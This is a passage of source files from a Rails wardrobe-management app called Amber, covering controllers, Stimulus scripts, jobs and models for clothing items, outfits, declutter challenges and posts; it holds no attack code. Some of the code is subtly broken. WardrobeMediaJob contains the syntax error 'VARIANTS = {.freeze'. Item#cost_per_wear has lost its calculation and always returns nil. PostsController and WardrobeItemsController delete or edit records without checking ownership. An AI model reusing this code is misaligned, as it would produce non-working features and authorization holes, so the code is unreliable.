    redirect_to declutter_index_path, notice: "#{@item.title} moved to #{state.humanize.downcase}"
  end

  def challenge
    challenge = @item.declutter_challenges.create!(
      user: Current.user,
      due_on: params[:due_on].presence || 7.days.from_now.to_date,
      note: params[:note].presence || "Wear once before deciding."
    )
    redirect_to review_declutter_path(@item), notice: "Wear-it-this-week challenge created for #{challenge.due_on}"
  end

  def complete_challenge
    challenge = @item.declutter_challenges.active.order(:due_on).first || @item.declutter_challenges.order(created_at: :desc).first
    challenge&.complete!
    redirect_to @item, notice: "Challenge completed — item marked worn"
  end

  def outcome
    @item.create_declutter_outcome!(outcome_params.merge(user: Current.user))
    redirect_to declutter_index_path, notice: "Declutter outcome recorded"
  end

  def last_chance
    render json: LastChanceOutfitService.new(@item).suggestions
  end

  private

  def set_item
    @item = Current.user.items.find(params[:id])
  end

  def review_params
    params.require(:declutter_review).permit(:reason_kept, :decision, :notes)
  end

  def outcome_params
    params.require(:declutter_outcome).permit(:action, :amount_recovered, :notes)
  end

  def lifecycle_state_for(action)
    case action
    when "keep" then "active"
    when "wear_this_week" then "active"
    when "replace_gradually" then "active"
    when "repair" then "repair"
    when "sell" then "resale"
    when "donate" then "donate"
    when "sentimental_archive" then "sentimental_archive"
    when "release" then "released"
    else "declutter_box"
    end
  end
end

rails/amber/app/controllers/follows_controller.rb

# frozen_string_literal: true

class FollowsController < ApplicationController
  def create
    user = User.find(params[:user_id])
    Current.user.follows_as_follower.find_or_create_by!(followee: user) unless Current.user == user
    redirect_back fallback_location: user_path(user)
  end

  def destroy
    user = User.find(params[:user_id])
    Current.user.follows_as_follower.find_by(followee: user)&.destroy!
    redirect_back fallback_location: user_path(user)
  end
end

rails/amber/app/controllers/home_controller.rb

# frozen_string_literal: true

class HomeController < ApplicationController
  def index
    return unless authenticated?
    items = Current.user.items
    @items_count      = items.count
    @joy_count        = items.joy.count
    @never_worn_count = items.never_worn.count
    @worn_this_month  = items.where("updated_at > ?", 30.days.ago).where("times_worn > 0").count
    @utilization_rate = @items_count > 0 ? (@worn_this_month * 100.0 / @items_count).round : 0
    @worst_cpw        = items.where("price > 0 AND times_worn > 0")
                             .select { |i| i.cost_per_wear }
                             .sort_by { |i| -i.cost_per_wear }
                             .first(3)
    @aging_unworn     = items.aging_unworn.limit(4)
    @recent_items     = items.recent.limit(6)
    @planned_this_week = Current.user.planned_outfits.this_week.includes(:outfit)
    @weather          = WeatherService.today
  end
end

rails/amber/app/controllers/items_controller.rb

# frozen_string_literal: true

class ItemsController < ApplicationController
  before_action :require_authentication
  before_action :set_item, only: %i[show edit update destroy spark_joy declutter wear]
  before_action :authorize!, only: %i[edit update destroy spark_joy declutter wear]

  def index
    @pagy, @items = pagy(Current.user.items.recent)
  end

  def show; end

  def new
    @item = Current.user.items.build
  end

  def create
    @item = Current.user.items.build(item_params)
    if @item.save
      WardrobeMediaJob.perform_later(@item.id) if @item.photos.attached?
      redirect_to(@item, notice: "Item added")
    else
      render(:new, status: :unprocessable_entity)
    end
  end

  def edit; end

  def update
    if @item.update(item_params)
      WardrobeMediaJob.perform_later(@item.id) if @item.photos.attached?
      redirect_to(@item, notice: "Updated")
    else
      render(:edit, status: :unprocessable_entity)
    end
  end

  def destroy
    @item.destroy
    redirect_to items_path, notice: "Removed from wardrobe"
  end

  def spark_joy
    @item.update!(spark_joy: true)
    redirect_to items_path, notice: "This item sparks joy!"
  end

  def declutter
    @item.update!(spark_joy: false)
    redirect_to items_path, notice: "Marked for declutter"
  end

  def wear
    @item.wear!
    redirect_to @item, notice: "Worn today — +1"
  end

  def archive_seasonal
    Current.user.items.active_wardrobe.find_each(&:archive_out_of_season!)
    redirect_to items_path, notice: "Out-of-season items moved to archive"
  end

  def resurface_seasonal
    Current.user.items.seasonal_archived.find_each(&:resurface_seasonal!)
    redirect_to items_path, notice: "Seasonal items resurfaced if in season"
  end

  def shopping_list
    service = WardrobeGapService.new(Current.user)
    service.create_recommendations!
    @gaps = service.gaps
    @recommendations = Current.user.recommendations.where(kind: "purchase_gap").recent
  end

  private

  def set_item = @item = Item.find(params[:id])

  def authorize!
    redirect_to(items_path, alert: "Unauthorized") unless @item.user == Current.user
  end

  def item_params
    params.require(:item).permit(
      :title, :category, :color, :size, :material,
      :brand, :price, :times_worn, :purchase_date,
      :mood_effect, :life_phase, :occasion_tags, :season,
      photos: []
    )
  end
end

rails/amber/app/controllers/outfits_controller.rb

# frozen_string_literal: true

class OutfitsController < ApplicationController
  before_action :require_authentication
  before_action :set_outfit, only: %i[show edit update destroy like reorder share wear]
  before_action :authorize!, only: %i[edit update destroy share wear]

  def index
    @pagy, @outfits = pagy(Current.user.outfits.order(created_at: :desc))
  end

  def dressing_room
    base = Current.user.items.active_wardrobe.with_attached_photos
    @zones = {
      head:   base.where(category: "Accessories"),
      top:    base.where(category: %w[Tops Outerwear]),
      bottom: base.where(category: %w[Bottoms Dresses]),
      shoes:  base.where(category: "Shoes"),
    }
  end

  def show; end

  def new
    @outfit = Current.user.outfits.build
  end

  def create
    @outfit = Current.user.outfits.build(outfit_params)
    @outfit.save ? redirect_to(@outfit, notice: "Outfit created") : render(:new, status: :unprocessable_entity)
  end

  def edit; end

  def update
    @outfit.update(outfit_params) ? redirect_to(@outfit, notice: "Updated") : render(:edit, status: :unprocessable_entity)
  end

  def destroy
    @outfit.destroy
    redirect_to outfits_path, notice: "Outfit deleted"
  end

  def like
    @outfit.like!
    redirect_to @outfit
  end

  def share
    body = "Outfit: #{@outfit.name}\n\nItems:\n#{@outfit.items.map { |i| "- #{i.title}" }.join("\n")}"
    post = Current.user.posts.build(body: body, outfit_id: @outfit.id)
    if post.save
      redirect_to post, notice: "Outfit shared to brgen!"
    else
      redirect_to @outfit, alert: "Could not share: #{post.errors.full_messages.to_sentence}"
    end
  end

  def wear
    @outfit.touch
    redirect_to @outfit, notice: "Marked as worn again!"
  end

  def reorder
    positions = params.require(:positions)
    positions.each_with_index do |item_id, index|
      @outfit.outfit_items.where(item_id:).update_all(position: index)
    end
    head :ok
  end

  private

  def set_outfit = @outfit = Outfit.find(params[:id])

  def authorize!
    redirect_to(outfits_path, alert: "Unauthorized") unless @outfit.user == Current.user
  end

  def outfit_params
    params.require(:outfit).permit(:name, :description, :category, :season, :occasion)
  end
end

rails/amber/app/controllers/passwords_controller.rb

# frozen_string_literal: true

class PasswordsController < ApplicationController
  allow_unauthenticated_access
  before_action :set_user_by_token, only: %i[ edit update ]
  rate_limit to: 10, within: 3.minutes, only: :create, with: -> { redirect_to new_password_path, alert: "Try again later." }

  def new
  end

  def create
    if user = User.find_by(email_address: params[:email_address])
      PasswordsMailer.reset(user).deliver_later
    end

    redirect_to new_session_path, notice: "Password reset instructions sent (if user with that email address exists)."
  end

  def edit
  end

  def update
    if @user.update(params.permit(:password, :password_confirmation))
      @user.sessions.destroy_all
      redirect_to new_session_path, notice: "Password has been reset."
    else
      redirect_to edit_password_path(params[:token]), alert: "Passwords did not match."
    end
  end

  private
    def set_user_by_token
      @user = User.find_by_password_reset_token!(params[:token])
    rescue ActiveSupport::MessageVerifier::InvalidSignature
      redirect_to new_password_path, alert: "Password reset link is invalid or has expired."
    end
end

rails/amber/app/controllers/planned_outfits_controller.rb

# frozen_string_literal: true

class PlannedOutfitsController < ApplicationController
  before_action :require_authentication

  def index
    @planned = Current.user.planned_outfits.upcoming.includes(:outfit)
    @outfits = Current.user.outfits.order(:name)
  end

  def create
    @plan = Current.user.planned_outfits.build(plan_params)
    @plan.save ? redirect_to(planned_outfits_path, notice: "Planned") : redirect_to(planned_outfits_path, alert: @plan.errors.full_messages.first)
  end

  def destroy
    Current.user.planned_outfits.find(params[:id]).destroy!
    redirect_to planned_outfits_path
  end

  private

  def plan_params = params.require(:planned_outfit).permit(:outfit_id, :planned_date, :notes)
end

rails/amber/app/controllers/posts_controller.rb

# frozen_string_literal: true

class PostsController < ApplicationController
  before_action :set_post, only: %i[show destroy like]

  def index
    @pagy, @posts = pagy(Post.recent.includes(:user, :outfit, :item))
  end

  def feed
    @pagy, @posts = pagy(Current.user.feed_posts.includes(:user, :outfit, :item))
  end

  def show; end

  def new
    @post = Post.new
  end

  def create
    @post = Current.user.posts.build(post_params)
    @post.save ? redirect_to(posts_path, notice: "Posted") : render(:new, status: :unprocessable_entity)
  end

  def destroy
    @post.destroy!
    redirect_to posts_path
  end

  def like
    @post.like!
    redirect_back fallback_location: posts_path
  end

  private

  def set_post = @post = Post.find(params[:id])
  def post_params = params.require(:post).permit(:body, :outfit_id, :item_id)
end

rails/amber/app/controllers/registrations_controller.rb

# frozen_string_literal: true

class RegistrationsController < ApplicationController
  allow_unauthenticated_access only: %i[new create]

  def new = render

  def create
    user = User.new(registration_params)
    if user.save
      start_new_session_for user
      redirect_to root_path, notice: "Welcome to Amber!"
    else
      render :new, status: :unprocessable_entity
    end
  end

  private

  def registration_params
    params.require(:user).permit(:email_address, :password, :password_confirmation)
  end
end

rails/amber/app/controllers/sessions_controller.rb

# frozen_string_literal: true

class SessionsController < ApplicationController
  allow_unauthenticated_access only: %i[ new create ]
  rate_limit to: 10, within: 3.minutes, only: :create, with: -> { redirect_to new_session_path, alert: "Try again later." }

  def new
  end

  def create
    if user = User.authenticate_by(params.permit(:email_address, :password))
      start_new_session_for user
      redirect_to after_authentication_url
    else
      redirect_to new_session_path, alert: "Try another email address or password."
    end
  end

  def destroy
    terminate_session
    redirect_to new_session_path, status: :see_other
  end
end

rails/amber/app/controllers/users_controller.rb

# frozen_string_literal: true

class UsersController < ApplicationController
  def show
    @user    = User.find(params[:id])
    @items   = @user.items.recent.limit(12)
    @outfits = @user.outfits.order(created_at: :desc).limit(6)
    @posts   = @user.posts.recent.limit(10)
  end
end

rails/amber/app/controllers/wardrobe_items_controller.rb

# frozen_string_literal: true

class WardrobeItemsController < ApplicationController
  before_action :set_wardrobe_item, only: %i[show edit update destroy]

  def index
    @wardrobe_items = WardrobeItem.includes(:item).recent.limit(100)
  end

  def show
  end

  def new
    @wardrobe_item = WardrobeItem.new
  end

  def create
    @wardrobe_item = WardrobeItem.new(wardrobe_item_params)
    @wardrobe_item.user = current_user if respond_to?(:current_user, true)

    if @wardrobe_item.save
      redirect_to wardrobe_items_path, notice: t("amber.wardrobe_item_created", default: "Item added")
    else
      render :new, status: :unprocessable_entity
    end
  end

  def edit
  end

  def update
    if @wardrobe_item.update(wardrobe_item_params)
      redirect_to wardrobe_items_path, notice: t("amber.wardrobe_item_updated", default: "Item updated")
    else
      render :edit, status: :unprocessable_entity
    end
  end

  def destroy
    @wardrobe_item.destroy
    redirect_to wardrobe_items_path, notice: t("amber.wardrobe_item_deleted", default: "Item removed")
  end

  private

  def set_wardrobe_item
    @wardrobe_item = WardrobeItem.find(params[:id])
  end

  def wardrobe_item_params
    params.require(:wardrobe_item).permit(:item_id, :acquisition_date, :condition, :notes)
  end
end

rails/amber/app/helpers/application_helper.rb

# frozen_string_literal: true

module ApplicationHelper
  include Pagy::Frontend
end

rails/amber/app/javascript/application.js

// Configure your import map in config/importmap.rb. Read more: https://github.com/rails/importmap-rails
import "@hotwired/turbo-rails"
import "controllers"

import { application } from "controllers/application"
import { eagerLoadControllersFrom } from "@hotwired/stimulus-loading"
eagerLoadControllersFrom("controllers", application)

if ("serviceWorker" in navigator) navigator.serviceWorker.register("/service-worker")

// Nav swipe-to-reveal
document.addEventListener("turbo:load", () => {
  const nav = document.querySelector("nav");
  if (!nav) return;
  let y0 = 0;
  document.addEventListener("touchstart", e => { y0 = e.touches[0].clientY; }, { passive: true });
  document.addEventListener("touchend", e => {
    const dy = e.changedTouches[0].clientY - y0;
    if (dy > 40) nav.classList.add("nav-visible");
    else if (dy < -40) nav.classList.remove("nav-visible");
  }, { passive: true });
});

rails/amber/app/javascript/controllers/animated_number_controller.js

import AnimatedNumber from "@stimulus-components/animated-number"
export default class extends AnimatedNumber {}

rails/amber/app/javascript/controllers/application.js

import { Application } from "@hotwired/stimulus"
const application = Application.start()
application.debug = false
window.Stimulus = application
export { application }

rails/amber/app/javascript/controllers/application_controller.js

import { Controller } from "@hotwired/stimulus"
import StimulusReflex from "stimulus_reflex"

export default class extends Controller {
  connect() {
    StimulusReflex.register(this)
  }
}

rails/amber/app/javascript/controllers/auto_submit_controller.js

import AutoSubmit from "@stimulus-components/auto-submit"
export default class extends AutoSubmit {}

rails/amber/app/javascript/controllers/character_counter_controller.js

import CharacterCounter from "@stimulus-components/character-counter"
export default class extends CharacterCounter {}

rails/amber/app/javascript/controllers/clipboard_controller.js

import Clipboard from "@stimulus-components/clipboard"
export default class extends Clipboard {}

rails/amber/app/javascript/controllers/dialog_controller.js

import Dialog from "@stimulus-components/dialog"
export default class extends Dialog {}

rails/amber/app/javascript/controllers/dropdown_controller.js

import Dropdown from "@stimulus-components/dropdown"
export default class extends Dropdown {}

rails/amber/app/javascript/controllers/filter_controller.js

import { Controller } from "@hotwired/stimulus"
export default class extends Controller {
  static targets = ["select", "grid"]
  filter() {
    const val = this.selectTarget.value
    this.gridTarget.querySelectorAll("[data-category]").forEach(c => {
      c.hidden = val && c.dataset.category !== val
    })
  }
}

rails/amber/app/javascript/controllers/hello_controller.js

import { Controller } from "@hotwired/stimulus"

export default class extends Controller {
  connect() {
    this.element.textContent = "Hello World!"
  }
}

rails/amber/app/javascript/controllers/index.js

import { application } from "./application"
import { eagerLoadControllersFrom } from "@hotwired/stimulus-loading"
import StimulusReflex from "stimulus_reflex"
import ApplicationController from "controllers/application_controller"

eagerLoadControllersFrom("controllers", application)

StimulusReflex.initialize(application, { applicationController: ApplicationController, isolate: true })

rails/amber/app/javascript/controllers/notification_controller.js

import Notification from "@stimulus-components/notification"
export default class extends Notification {}

rails/amber/app/javascript/controllers/sortable_controller.js

import Sortable from "@stimulus-components/sortable"
export default class extends Sortable {}

rails/amber/app/javascript/controllers/textarea_autogrow_controller.js

import { Controller } from "@hotwired/stimulus"

export default class extends Controller {
  connect() {
    this.resize()
    this.element.addEventListener("input", this.resize)
  }

  disconnect() {
    this.element.removeEventListener("input", this.resize)
  }

  resize = () => {
    this.element.style.height = "auto"
    this.element.style.height = `${this.element.scrollHeight}px`
  }
}

rails/amber/app/javascript/controllers/timeago_controller.js

import TimeAgo from "@stimulus-components/timeago"
export default class extends TimeAgo {}

rails/amber/app/javascript/controllers/wardrobe_carousel_controller.js

import { Controller } from "@hotwired/stimulus"

export default class extends Controller {
  static values = { zones: Object }

  connect() {
    this.idx = { head: 0, top: 0, bottom: 0, shoes: 0 }
    Object.keys(this.idx).forEach(z => this.render(z))
  }

  prev({ params: { zone } }) { this.step(zone, -1) }
  next({ params: { zone } }) { this.step(zone, 1) }

  step(zone, dir) {
    const items = this.zonesValue[zone] || []
    if (!items.length) return
    this.idx[zone] = (this.idx[zone] + dir + items.length) % items.length
    this.render(zone)
  }

  render(zone) {
    const items = this.zonesValue[zone] || []
    const item = items[this.idx[zone]]
    const overlay = this.element.querySelector(`.zone--${zone} img`)
    const nameEl = this.element.querySelector(`[data-zone-label="${zone}"]`)
    const countEl = this.element.querySelector(`[data-zone-count="${zone}"]`)

    if (overlay) {
      if (item?.url) {
        overlay.src = item.url
        overlay.alt = item.name
        overlay.style.opacity = "1"
      } else {
        overlay.src = ""
        overlay.style.opacity = "0"
      }
    }
    if (nameEl) nameEl.textContent = item?.name ?? "—"
    if (countEl && items.length) countEl.textContent = `${this.idx[zone] + 1} / ${items.length}`
    else if (countEl) countEl.textContent = "none"
  }
}

rails/amber/app/jobs/calculate_sustainability_job.rb

# frozen_string_literal: true

class CalculateSustainabilityJob < ApplicationJob
  queue_as :default

  def perform(item_id)
    item = Item.find(item_id)
    metric = item.sustainability_metric || item.build_sustainability_metric
    metric.assign_attributes(
      resale_value: estimated_resale_value(item),
      repair_cost_estimate: estimated_repair_cost(item),
      environmental_score: environmental_score(item)
    )
    metric.save!
  end

  private

  def estimated_resale_value(item)
    return nil unless item.price.present?
    wear_discount = [item.times_worn.to_i * 0.015, 0.75].min
    (item.price * (0.65 - wear_discount)).clamp(0, item.price).round(2)
  end

  def estimated_repair_cost(item)
    return nil unless item.price.present?
    (item.price * 0.12).round(2)
  end

  def environmental_score(item)
    worn = item.times_worn.to_i
    base = worn.positive? ? [worn * 4, 100].min : 5
    item.spark_joy? ? [base + 10, 100].min : base
  end
end

rails/amber/app/jobs/embed_garment_job.rb

# frozen_string_literal: true

class EmbedGarmentJob < ApplicationJob
  queue_as :default

  def perform(item_id)
    item = Item.find(item_id)
    vector = WardrobeAiService.new(item.user).embedding_for(item)
    return if vector.blank?

    item.create_garment_embedding! unless item.garment_embedding
    item.garment_embedding.update!(
      provider: "openrouter",
      model: WardrobeAiService::MODEL,
      dimensions: vector.length,
      vector: vector,
      metadata: { text: item.embedding_text, embedded_at: Time.current.iso8601 }
    )
  end
end

rails/amber/app/jobs/recommend_outfits_job.rb

# frozen_string_literal: true

class RecommendOutfitsJob < ApplicationJob
  queue_as :default

  def perform(user_id, occasion: nil, season: nil)
    user = User.find(user_id)
    suggestions = WardrobeAiService.new(user).suggest_outfits(occasion:, season:)

    Array(suggestions).each do |suggestion|
      user.recommendations.create!(
        kind: "outfit",
        reason: suggestion["description"].presence || suggestion["reason"].presence || "AI outfit suggestion",
        metadata: suggestion
      )
    end
  end
end

rails/amber/app/jobs/remove_background_job.rb

# frozen_string_literal: true

class RemoveBackgroundJob < ApplicationJob
  queue_as :default

  def perform(item_id)
    item = Item.find(item_id)
    Rails.logger.info("Amber background-removal placeholder for item=#{item.id}")
    item.update!(analysis_status: "background_removal_pending") if item.respond_to?(:analysis_status)
  end
end

rails/amber/app/jobs/segment_garment_image_job.rb

# frozen_string_literal: true

class SegmentGarmentImageJob < ApplicationJob
  queue_as :default

  def perform(item_id)
    item = Item.find(item_id)
    Rails.logger.info("Amber segmentation placeholder for item=#{item.id}")
    item.update!(analysis_status: "segmentation_pending") if item.respond_to?(:analysis_status)
  end
end

rails/amber/app/jobs/wardrobe_media_job.rb

# frozen_string_literal: true

require "tempfile"
require "rbconfig"

class WardrobeMediaJob < ApplicationJob
  queue_as :media

  VARIANTS = {.freeze
    thumb: { resize_to_limit: [240, 240] },
    card: { resize_to_limit: [720, 960] },
  }.freeze

  def perform(item_id)
    item = Item.find(item_id)
    if defined?(Shared::MediaProcessingJob)
      Shared::MediaProcessingJob.perform_later("Item", item.id, "photos", variants: VARIANTS)
    end
    Shared::EventEmitter.call("amber.photo.queued", item_id: item.id) if defined?(Shared::EventEmitter)
    item.extract_dominant_color! if item.photos.attached?

    # auto postpro film stock on item image upload (DF06)
    if item.photos.attached?
      photo = item.photos.first
      begin
        script = Rails.root.join("../../postpro/postpro.rb").to_s
        if File.exist?(script)
          tmp_in = Tempfile.new(["in", File.extname(photo.filename.to_s.presence || ".jpg")])
          tmp_in.binmode
          tmp_in.write(photo.download)
          tmp_in.rewind
          tmp_out = Tempfile.new(["out", ".jpg"])
          system(RbConfig.ruby, script, "--input", tmp_in.path, "--output", tmp_out.path, "--stock", "kodak_portra", "--preset", "social")
          if File.exist?(tmp_out.path)
            Rails.logger.info("postpro film stock applied automatically to item #{item.id}")
            # could re-attach processed version here
          end
          tmp_in.close!
          tmp_out.close!
        end
      rescue StandardError => e
        Rails.logger.warn("auto postpro failed for item #{item.id}: #{e.message}")
      end
    end
  end
end

rails/amber/app/mailers/passwords_mailer.rb

# frozen_string_literal: true

class PasswordsMailer < ApplicationMailer
  def reset(user)
    @user = user
    mail subject: "Reset your password", to: user.email_address
  end
end

rails/amber/app/models/affiliate_link.rb

# frozen_string_literal: true

class AffiliateLink < ApplicationRecord
  belongs_to :item

  validates :url, :merchant, presence: true
  validates :url, length: { maximum: 2_000 }
  validates :commission_rate, numericality: { greater_than_or_equal_to: 0 }, allow_nil: true
end

rails/amber/app/models/consent_event.rb

# frozen_string_literal: true

class ConsentEvent < ApplicationRecord
  belongs_to :user

  validates :purpose, :decision, presence: true

  enum :decision, { granted: "granted", revoked: "revoked" }
end

rails/amber/app/models/creator_profile.rb

# frozen_string_literal: true

class CreatorProfile < ApplicationRecord
  belongs_to :user
  has_many :creator_wardrobe_items, dependent: :destroy
  has_many :items, through: :creator_wardrobe_items

  validates :handle, presence: true, uniqueness: true, format: { with: /\A[a-zA-Z0-9_\.\-]+\z/ }
  validates :display_name, presence: true, length: { maximum: 80 }
  validates :bio, length: { maximum: 1_000 }

  normalizes :handle, with: ->(value) { value.to_s.strip.downcase }

  scope :publicly_visible, -> { where(public: true) }
end

rails/amber/app/models/creator_wardrobe_item.rb

# frozen_string_literal: true

class CreatorWardrobeItem < ApplicationRecord
  belongs_to :creator_profile
  belongs_to :item

  validates :item_id, uniqueness: { scope: :creator_profile_id }
  validates :caption, length: { maximum: 300 }
end

rails/amber/app/models/current.rb

# frozen_string_literal: true

class Current < ActiveSupport::CurrentAttributes
  attribute :session
  delegate :user, to: :session, allow_nil: true
end

rails/amber/app/models/declutter_challenge.rb

# frozen_string_literal: true

class DeclutterChallenge < ApplicationRecord
  belongs_to :user
  belongs_to :item
  belongs_to :outfit, optional: true

  STATUSES = %w[pending completed skipped expired].freeze

  validates :status, inclusion: { in: STATUSES }
  validates :due_on, presence: true

  before_validation :assign_defaults

  scope :active, -> { where(status: "pending").where("due_on >= ?", Date.current) }
  scope :overdue, -> { where(status: "pending").where("due_on < ?", Date.current) }

  def complete!
    transaction do
      update!(status: "completed", completed_at: Time.current)
      item.wear!(outfit:, context: "declutter_challenge")
    end
  end

  def expire!
    update!(status: "expired") if pending? && due_on < Date.current
  end

  def pending? = status == "pending"

  private

  def assign_defaults
    self.user ||= item&.user
    self.status ||= "pending"
    self.due_on ||= 7.days.from_now.to_date
  end
end

rails/amber/app/models/declutter_outcome.rb

# frozen_string_literal: true

class DeclutterOutcome < ApplicationRecord
  belongs_to :user
  belongs_to :item

  ACTIONS = %w[sold donated gifted recycled repaired archived released].freeze

  validates :action, inclusion: { in: ACTIONS }
  validates :notes, length: { maximum: 1_000 }
  validates :amount_recovered, numericality: { greater_than_or_equal_to: 0 }, allow_nil: true

  before_validation :assign_user
  after_create :sync_item_lifecycle

  private

  def assign_user
    self.user ||= item&.user
  end

  def sync_item_lifecycle
    state = case action
            when "sold" then "sold"
            when "donated" then "donated"
            when "gifted", "released" then "released"
            when "recycled" then "recycled"
            when "repaired" then "active"
            when "archived" then "sentimental_archive"
            else item.lifecycle_state
            end
    item.update!(lifecycle_state: state)
  end
end

rails/amber/app/models/declutter_review.rb

# frozen_string_literal: true

class DeclutterReview < ApplicationRecord
  belongs_to :user
  belongs_to :item

  REASONS = %w[wear love need guilt expensive gift memory goal_weight past_self aspirational rare status uncomfortable duplicate].freeze
  DECISIONS = %w[keep wear_this_week repair sell donate recycle sentimental_archive declutter_box release].freeze

  validates :reason_kept, inclusion: { in: REASONS }, allow_blank: true
  validates :decision, inclusion: { in: DECISIONS }, allow_blank: true
  validates :notes, length: { maximum: 1_000 }

  before_validation :assign_user

  def guilt_based? = %w[guilt expensive gift goal_weight status].include?(reason_kept)

  private

  def assign_user
    self.user ||= item&.user
  end
end

rails/amber/app/models/follow.rb

# frozen_string_literal: true

class Follow < ApplicationRecord
  belongs_to :follower, class_name: "User", touch: true
  belongs_to :followee, class_name: "User", touch: true

  validates :follower_id, uniqueness: { scope: :followee_id }
  validate :no_self_follow

  private

  def no_self_follow
    errors.add(:followee, "can't follow yourself") if follower_id == followee_id
  end
end

rails/amber/app/models/garment_embedding.rb

# frozen_string_literal: true

class GarmentEmbedding < ApplicationRecord
  belongs_to :item

  validates :provider, :model, presence: true
  validates :dimensions, numericality: { only_integer: true, greater_than: 0 }, allow_nil: true

  serialize :vector, coder: JSON
  serialize :metadata, coder: JSON
end

rails/amber/app/models/identity_verification.rb

# frozen_string_literal: true

class IdentityVerification < ApplicationRecord
  belongs_to :user

  enum :status, { pending: "pending", approved: "approved", rejected: "rejected" }, default: :pending
  enum :kind, { creator: "creator", merchant: "merchant", stylist: "stylist", human: "human" }, default: :human

  validates :kind, :status, presence: true
end

rails/amber/app/models/item.rb

# frozen_string_literal: true

require "tempfile"

class Item < ApplicationRecord
  belongs_to :user
  has_one :garment_embedding, dependent: :destroy
  has_one :sustainability_metric, dependent: :destroy
  has_one :declutter_review, dependent: :destroy
  has_one :declutter_outcome, dependent: :destroy
  has_many :outfit_items, dependent: :destroy
  has_many :outfits, through: :outfit_items
  has_many :wear_logs, dependent: :destroy
  has_many :affiliate_links, dependent: :destroy
  has_many :declutter_challenges, dependent: :destroy
  has_many_attached :photos

  validates :title, :category, presence: true
  validates :times_worn, numericality: { only_integer: true, greater_than_or_equal_to: 0 }, allow_nil: true
  validates :price, numericality: { greater_than_or_equal_to: 0 }, allow_nil: true

  broadcasts_refreshes

  scope :joy,          -> { where(spark_joy: true) }
  scope :by_category,  ->(c) { where(category: c) }
  scope :by_mood,      ->(m) { where(mood_effect: m) }
  scope :by_occasion,  ->(o) { where("occasion_tags LIKE ?", "%#{sanitize_sql_like(o.to_s)}%") }
  scope :current_self, -> { where(life_phase: "current") }
  scope :recent,       -> { order(created_at: :desc) }
  scope :worn_most,    -> { order(times_worn: :desc) }
  scope :never_worn,   -> { where("times_worn = 0 OR times_worn IS NULL") }
  scope :aging_unworn, -> { never_worn.where("purchase_date < ?", 6.months.ago) }
  scope :embeddable,   -> { where.not(title: [nil, ""]).where.not(category: [nil, ""]) }
  scope :active_wardrobe, -> { where.not(lifecycle_state: %w[released donated sold recycled]) }
  scope :declutter_box, -> { where(lifecycle_state: "declutter_box") }
  scope :sentimental, -> { where(lifecycle_state: "sentimental_archive") }
  scope :seasonal_archived, -> { where(lifecycle_state: "seasonal_archive") }

  CATEGORIES   = %w[Tops Bottoms Dresses Shoes Accessories Outerwear].freeze
  SEASONS      = %w[Spring Summer Autumn Winter All-Season].freeze
  MOOD_EFFECTS = %w[energising calming confident playful neutral].freeze
  LIFE_PHASES  = %w[current past-self aspirational].freeze
  OCCASIONS    = %w[work casual formal gym date travel].freeze
  LIFECYCLE_STATES = %w[active repair clean_needed tailor declutter_box sentimental_archive seasonal_archive resale donate sold donated recycled released].freeze

  def cost_per_wear
    return nil unless price.present? && times_worn.to_i > 0
  end

  def value_label
    cost_per_wear ? "#{cost_per_wear} per wear" : "not worn yet"
  end

  def underused?
    times_worn.to_i < 3
  end

  def capsule_candidate?
    spark_joy? && !released? && !in_declutter_box?
  end

  def occasions
    occasion_tags.to_s.split(",").map(&:strip).reject(&:blank?)
  end

  def wear!(worn_on: Date.current, outfit: nil, context: nil)
    transaction do
      increment!(:times_worn)
      update!(last_worn_on: worn_on, lifecycle_state: "active") if has_attribute?(:last_worn_on)
      wear_logs.create!(user:, outfit:, worn_on:, context:)
      touch
    end
  end

  def embedding_text
    [title, category, color, brand, material, season, mood_effect, life_phase, occasion_tags].compact.join(" ")
  end

  def declutter_score
    DeclutterScoreService.new(self).score
  end

  def declutter_recommendation
    DeclutterScoreService.new(self).recommendation
  end

  def duplicate_key
    [category, color, material, brand].map { |value| value.to_s.strip.downcase.presence || "unknown" }.join(":")
  end

  def in_declutter_box? = lifecycle_state == "declutter_box"
  def released? = %w[released donated sold recycled].include?(lifecycle_state)
  def sentimental? = lifecycle_state == "sentimental_archive"

  def current_season
    m = Time.current.month
    case m
    when 3..5 then "Spring"
    when 6..8 then "Summer"
    when 9..11 then "Autumn"
    else "Winter"
    end
  end

  def archive_out_of_season!
    return unless season.present? && season != "All-Season" && season != current_season
    update!(lifecycle_state: "seasonal_archive")
  end

  def resurface_seasonal!
    if lifecycle_state == "seasonal_archive" && (season == current_season || season == "All-Season")
      update!(lifecycle_state: "active")
    end
  end

  def extract_dominant_color!
    return unless photos.attached?
    photo = photos.first
    tempfile = nil
    begin
      require "vips"
      tempfile = Tempfile.new(["item", File.extname(photo.filename.to_s.presence || ".jpg")])
      tempfile.binmode
      tempfile.write(photo.download)
      tempfile.rewind
      image = Vips::Image.new_from_file(tempfile.path)
      # resize to 1px for approx dominant/average color
      thumb = image.resize(1.0 / [image.width, image.height].max.to_f)
      px = thumb.getpoint(0, 0)
      r = px[0].to_i.clamp(0, 255)
      g = px[1].to_i.clamp(0, 255)
      b = px[2].to_i.clamp(0, 255)
      hex = "#%02x%02x%02x" % [r, g, b]
      update!(color: hex)
    rescue StandardError => e
      Rails.logger.warn("vips dominant color extract failed for item #{id}: #{e.message}")
    ensure
      tempfile&.close!
    end
  end
end

rails/amber/app/models/outfit.rb

# frozen_string_literal: true

class Outfit < ApplicationRecord
  belongs_to :user
  has_many :outfit_items, dependent: :destroy
  has_many :items, through: :outfit_items
  has_one_attached :image

  validates :name, presence: true

  broadcasts_refreshes

  def like!
    increment!(:likes_count)
  end

  def context_label
    [season, category, occasion].compact_blank.join(" · ")
  end

  def total_wears
    items.sum { |item| item.times_worn.to_i }
  end

  def estimated_value
    items.sum { |item| item.price.to_f }
  end
end

rails/amber/app/models/outfit_item.rb

# frozen_string_literal: true

class OutfitItem < ApplicationRecord
  belongs_to :outfit
  belongs_to :item

  validates :outfit, :item, presence: true
  validates :item_id, uniqueness: { scope: :outfit_id }
  default_scope { order(:position) }
end

rails/amber/app/models/packing_list.rb

# frozen_string_literal: true

class PackingList < ApplicationRecord
  belongs_to :user
  has_many :packing_list_items, dependent: :destroy
  has_many :items, through: :packing_list_items

  validates :name, :starts_on, :ends_on, presence: true
  validate :ends_after_start

  def duration_days
    return 0 unless starts_on && ends_on
    (ends_on - starts_on).to_i + 1
  end

  private

  def ends_after_start
    return unless starts_on && ends_on
    errors.add(:ends_on, "must be on or after starts_on") if ends_on < starts_on
  end
end

rails/amber/app/models/packing_list_item.rb

# frozen_string_literal: true

class PackingListItem < ApplicationRecord
  belongs_to :packing_list
  belongs_to :item

